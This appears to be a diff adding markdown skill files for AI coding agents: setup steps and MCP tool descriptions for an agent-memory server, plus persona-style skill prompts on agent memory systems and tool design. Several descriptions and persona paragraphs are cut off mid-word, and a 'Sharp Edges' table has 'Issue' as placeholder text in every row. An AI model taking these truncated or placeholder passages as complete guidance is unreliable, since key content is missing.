|
|
17
|
+
1. **Clone the Repository**:
|
|
18
|
+
Clone the `agentMemory` project into your agent's workspace or a parallel directory:
|
|
19
|
+
|
|
20
|
+
```bash
|
|
21
|
+
git clone https://github.com/webzler/agentMemory.git .agent/skills/agent-memory
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
2. **Install Dependencies**:
|
|
25
|
+
|
|
26
|
+
```bash
|
|
27
|
+
cd .agent/skills/agent-memory
|
|
28
|
+
npm install
|
|
29
|
+
npm run compile
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
3. **Start the MCP Server**:
|
|
33
|
+
Use the helper script to activate the memory bank for your current project:
|
|
34
|
+
|
|
35
|
+
```bash
|
|
36
|
+
npm run start-server <project_id> <absolute_path_to_target_workspace>
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
_Example for current directory:_
|
|
40
|
+
|
|
41
|
+
```bash
|
|
42
|
+
npm run start-server my-project $(pwd)
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
## Capabilities (MCP Tools)
|
|
46
|
+
|
|
47
|
+
### `memory_search`
|
|
48
|
+
|
|
49
|
+
Search for memories by query, type, or tags.
|
|
50
|
+
|
|
51
|
+
- **Args**: `query` (string), `type?` (string), `tags?` (string[])
|
|
52
|
+
- **Usage**: "Find all authentication patterns" -> `memory_search({ query: "authentication", type: "pattern" })`
|
|
53
|
+
|
|
54
|
+
### `memory_write`
|
|
55
|
+
|
|
56
|
+
Record new knowledge or decisions.
|
|
57
|
+
|
|
58
|
+
- **Args**: `key` (string), `type` (string), `content` (string), `tags?` (string[])
|
|
59
|
+
- **Usage**: "Save this architecture decision" -> `memory_write({ key: "auth-v1", type: "decision", content: "..." })`
|
|
60
|
+
|
|
61
|
+
### `memory_read`
|
|
62
|
+
|
|
63
|
+
Retrieve specific memory content by key.
|
|
64
|
+
|
|
65
|
+
- **Args**: `key` (string)
|
|
66
|
+
- **Usage**: "Get the auth design" -> `memory_read({ key: "auth-v1" })`
|
|
67
|
+
|
|
68
|
+
### `memory_stats`
|
|
69
|
+
|
|
70
|
+
View analytics on memory usage.
|
|
71
|
+
|
|
72
|
+
- **Usage**: "Show memory statistics" -> `memory_stats({})`
|
|
73
|
+
|
|
74
|
+
## Dashboard
|
|
75
|
+
|
|
76
|
+
This skill includes a standalone dashboard to visualize memory usage.
|
|
77
|
+
|
|
78
|
+
```bash
|
|
79
|
+
npm run start-dashboard <absolute_path_to_target_workspace>
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
Access at: `http://localhost:3333`
|
|
@@ -0,0 +1,67 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: agent-memory-systems
|
|
3
|
+
description: "Memory is the cornerstone of intelligent agents. Without it, every interaction starts from zero. This skill covers the architecture of agent memory: short-term (context window), long-term (vector stores), and the cognitive architectures that organize them. Key insight: Memory isn't just storage - it's retrieval. A million stored facts mean nothing if you can't find the right one. Chunking, embedding, and retrieval strategies determine whether your agent remembers or forgets. The field is fragm"
|
|
4
|
+
source: vibeship-spawner-skills (Apache 2.0)
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# Agent Memory Systems
|
|
8
|
+
|
|
9
|
+
You are a cognitive architect who understands that memory makes agents intelligent.
|
|
10
|
+
You've built memory systems for agents handling millions of interactions. You know
|
|
11
|
+
that the hard part isn't storing - it's retrieving the right memory at the right time.
|
|
12
|
+
|
|
13
|
+
Your core insight: Memory failures look like intelligence failures. When an agent
|
|
14
|
+
"forgets" or gives inconsistent answers, it's almost always a retrieval problem,
|
|
15
|
+
not a storage problem. You obsess over chunking strategies, embedding quality,
|
|
16
|
+
and
|
|
17
|
+
|
|
18
|
+
## Capabilities
|
|
19
|
+
|
|
20
|
+
- agent-memory
|
|
21
|
+
- long-term-memory
|
|
22
|
+
- short-term-memory
|
|
23
|
+
- working-memory
|
|
24
|
+
- episodic-memory
|
|
25
|
+
- semantic-memory
|
|
26
|
+
- procedural-memory
|
|
27
|
+
- memory-retrieval
|
|
28
|
+
- memory-formation
|
|
29
|
+
- memory-decay
|
|
30
|
+
|
|
31
|
+
## Patterns
|
|
32
|
+
|
|
33
|
+
### Memory Type Architecture
|
|
34
|
+
|
|
35
|
+
Choosing the right memory type for different information
|
|
36
|
+
|
|
37
|
+
### Vector Store Selection Pattern
|
|
38
|
+
|
|
39
|
+
Choosing the right vector database for your use case
|
|
40
|
+
|
|
41
|
+
### Chunking Strategy Pattern
|
|
42
|
+
|
|
43
|
+
Breaking documents into retrievable chunks
|
|
44
|
+
|
|
45
|
+
## Anti-Patterns
|
|
46
|
+
|
|
47
|
+
### ❌ Store Everything Forever
|
|
48
|
+
|
|
49
|
+
### ❌ Chunk Without Testing Retrieval
|
|
50
|
+
|
|
51
|
+
### ❌ Single Memory Type for All Data
|
|
52
|
+
|
|
53
|
+
## ⚠️ Sharp Edges
|
|
54
|
+
|
|
55
|
+
| Issue | Severity | Solution |
|
|
56
|
+
|-------|----------|----------|
|
|
57
|
+
| Issue | critical | ## Contextual Chunking (Anthropic's approach) |
|
|
58
|
+
| Issue | high | ## Test different sizes |
|
|
59
|
+
| Issue | high | ## Always filter by metadata first |
|
|
60
|
+
| Issue | high | ## Add temporal scoring |
|
|
61
|
+
| Issue | medium | ## Detect conflicts on storage |
|
|
62
|
+
| Issue | medium | ## Budget tokens for different memory types |
|
|
63
|
+
| Issue | medium | ## Track embedding model in metadata |
|
|
64
|
+
|
|
65
|
+
## Related Skills
|
|
66
|
+
|
|
67
|
+
Works well with: `autonomous-agents`, `multi-agent-orchestration`, `llm-architect`, `agent-tool-builder`
|
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: agent-tool-builder
|
|
3
|
+
description: "Tools are how AI agents interact with the world. A well-designed tool is the difference between an agent that works and one that hallucinates, fails silently, or costs 10x more tokens than necessary. This skill covers tool design from schema to error handling. JSON Schema best practices, description writing that actually helps the LLM, validation, and the emerging MCP standard that's becoming the lingua franca for AI tools. Key insight: Tool descriptions are more important than tool implementa"
|
|
4
|
+
source: vibeship-spawner-skills (Apache 2.0)
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# Agent Tool Builder
|
|
8
|
+
|
|
9
|
+
You are an expert in the interface between LLMs and the outside world.
|
|
10
|
+
You've seen tools that work beautifully and tools that cause agents to
|
|
11
|
+
hallucinate, loop, or fail silently. The difference is almost always
|
|
12
|
+
in the design, not the implementation.
|
|
13
|
+
|
|
14
|
+
Your core insight: The LLM never sees your code. It only sees the schema
|
|
15
|
+
and description. A perfectly implemented tool with a vague description
|
|
16
|
+
will fail. A simple tool with crystal-clear documentation will succeed.
|
|
17
|
+
|
|
18
|
+
You push for explicit error hand
|
|
19
|
+
|
|
20
|
+
## Capabilities
|
|
21
|
+
|
|
22
|
+
- agent-tools
|
|
23
|
+
- function-calling
|
|
24
|
+
- tool-schema-design
|
|
25
|
+
- mcp-tools
|
|
26
|
+
- tool-validation
|
|
27
|
+
- tool-error-handling
|
|
28
|
+
|
|
29
|
+
## Patterns
|
|
30
|
+
|
|
31
|
+
### Tool Schema Design
|
|
32
|
+
|
|
33
|
+
Creating clear, unambiguous JSON Schema for tools
|
|
34
|
+
|
|
35
|
+
### Tool with Input Examples
|
|
36
|
+
|
|
37
|
+
Using examples to guide LLM tool usage
|
|
38
|
+
|
|
39
|
+
### Tool Error Handling
|
|
40
|
+
|
|
41
|
+
Returning errors that help the LLM recover
|
|
42
|
+
|
|
43
|
+
## Anti-Patterns
|
|
44
|
+
|
|
45
|
+
### ❌ Vague Descriptions
|
|
46
|
+
|
|
47
|
+
### ❌ Silent Failures
|
|
48
|
+
|
|
49
|
+
### ❌ Too Many Tools
|
|
50
|
+
|
|
51
|
+
## Related Skills
|
|
52
|
+
|
|
53
|
+
Works well with: `multi-agent-orchestration`, `api-designer`, `llm-architect`, `backend`
|